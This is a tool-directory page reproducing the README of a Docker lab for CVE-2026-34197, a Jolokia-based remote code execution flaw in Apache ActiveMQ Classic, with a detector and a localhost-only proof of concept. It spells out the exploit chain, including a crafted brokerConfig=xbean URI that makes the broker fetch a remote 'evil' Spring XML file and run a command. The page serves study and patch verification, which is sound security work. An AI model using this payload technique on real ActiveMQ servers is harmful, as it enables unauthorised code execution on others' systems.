Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

Docker lab demonstrating CVE-2026-34197, an Apache ActiveMQ Classic RCE via Jolokia. Includes a safe detector and a local-only PoC with fixed command, comparing vulnerable and patched versions.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE Lab

Overview

This repository is a local Docker lab for studying CVE-2026-34197, an Apache ActiveMQ Classic remote code execution issue reachable through the Jolokia JMX-HTTP API.

The lab compares two ActiveMQ Classic instances side by side:

ServiceVersionPurposeURL
vuln5.19.3Vulnerable targethttp://127.0.0.1:8081
patched5.19.4Patched comparison targethttp://127.0.0.1:8082

The repository contains two proof scripts:

ScriptPurposeSafety model
poc/detect.pyAuthorized detectorHTTP-only; does not exploit
poc/poc.pyLocal-only RCE-path proofFixed command only: id; whoami; sleep 5

Execution evidence is verified separately by the operator using process observation tools such as strace.


Vulnerability Summary

CVE-2026-34197 affects Apache ActiveMQ Classic versions where an authenticated user can use the Jolokia API to invoke broker management operations and cause the broker JVM to load attacker-controlled Spring XML through a crafted brokerConfig=xbean:http://... URI.

The vulnerable flow demonstrated in this lab is:

root@kitploit:~
Jolokia /api/jolokia/
  -> Broker MBean operation
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> remote Spring XML fetch
  -> ProcessBuilder bean initialization
  -> fixed local proof command

The patched service blocks this path before the XML is fetched and returns an error similar to:

root@kitploit:~
VM scheme is not allowed

Repository Structure

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

File roles

  • docker-compose.yml runs the vulnerable and patched ActiveMQ services.
  • vuln/Dockerfile builds Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile builds Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py checks Jolokia exposure, ActiveMQ version, and Broker MBean visibility.
  • poc/poc.py triggers the local-only RCE path using a fixed benign command.
  • images/strace.png contains local process-observation evidence from the vulnerable service.
  • .gitignore excludes local artifacts, Python cache files, virtual environments, logs, and secrets.

Safety Boundaries

This repository is intended for local lab use and authorized security validation only.

The PoC is deliberately constrained:

  • It refuses non-local targets.
  • It does not accept arbitrary commands.
  • It uses only the fixed command: id; whoami; sleep 5.
  • It does not collect command output through a callback.
  • It relies on separate operator-controlled observation such as strace.

Allowed local targets for poc.py:

root@kitploit:~
127.0.0.1
localhost
::1

Do not use this repository against systems you do not own or do not have explicit permission to test.


Lab Setup

Build and start the lab

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

Check service status:

root@kitploit:~
docker compose ps

Expected services:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Verify Jolokia version endpoints

Check the vulnerable service:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Check the patched service:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Expected versions:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Detector Usage

poc/detect.py is the safe default script. It does not exploit the target.

It checks:

  1. whether /api/jolokia/version is accessible;
  2. whether authentication is required;
  3. whether the product is Apache ActiveMQ;
  4. the ActiveMQ version;
  5. whether the Broker MBean is visible through Jolokia search;
  6. whether the version falls into an affected range.

Run detector against both lab services

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Expected result:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

What counts as vulnerable in the detector?

The detector marks a target as LIKELY_VULNERABLE when:

root@kitploit:~
Jolokia is accessible
+
ActiveMQ version is in an affected range

Affected ranges used by this lab:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

Broker MBean visibility is used as confidence evidence because the exploit path relies on broker management operations.

The detector does not claim CONFIRMED_RCE.


Local-Only RCE Path PoC

poc/poc.py demonstrates the RCE path in the local Docker lab.

It starts a temporary HTTP server on the host and serves a Spring XML payload at a per-run path:

root@kitploit:~
/evil-<nonce>.xml

It then invokes the ActiveMQ Broker MBean through Jolokia:

root@kitploit:~
addNetworkConnector(java.lang.String)

with a crafted discovery URI:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

The vulnerable broker fetches this XML. The patched broker blocks the vm:// transport scheme before fetching XML.

Important behavior

After a vulnerable run, the created NetworkConnector may retry fetching the old XML path. The script uses a per-run nonce and tracks matches_current_run to avoid false positives.

A hit is only counted as the current run if it matches:

root@kitploit:~
/evil-<current-nonce>.xml

Run PoC Against Vulnerable Service

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Expected output:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

This confirms that ActiveMQ 5.19.3 can be made to fetch attacker-controlled Spring XML through the Jolokia-managed broker path.


Run PoC Against Patched Service

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Expected output:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

If hits from an older vulnerable run appear, they should show:

root@kitploit:~
"matches_current_run": false

Those are not counted as patched-service success.


Confirm Command Execution with strace

The PoC script does not collect command output. To confirm command execution, observe process creation inside the vulnerable container.

Enter the vulnerable container as root:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

Find the Java process:

root@kitploit:~
pgrep -af java

Attach strace to the Java PID:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

In another terminal, run the PoC against the vulnerable service:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Expected strace evidence:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

This is the OS-level evidence that the fixed proof command was executed by the broker JVM.

strace command execution evidence


Cleanup Between Runs

The PoC attempts to remove the default NetworkConnector name NC before triggering. This keeps repeated lab runs predictable.

Manual cleanup:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

Or restart the lab:

root@kitploit:~
docker compose restart vuln patched

Expected Lab Results

TestVulnerable 5.19.3Patched 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Jolokia accessAccessible with authAccessible with auth
Broker MBeanVisibleVisible
poc.py XML fetchYesNo
Patched block signatureN/AVM scheme is not allowed
strace command evidence/bin/sh -c 'id; whoami; sleep 5'Not expected

References

  • Apache ActiveMQ Security Advisory — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • CVE.org — CVE-2026-34197 record: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • GitHub Advisory Database — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache ActiveMQ Classic documentation — Networks of Brokers: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Apache ActiveMQ Classic JMX BrokerView API documentation: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
Download Tool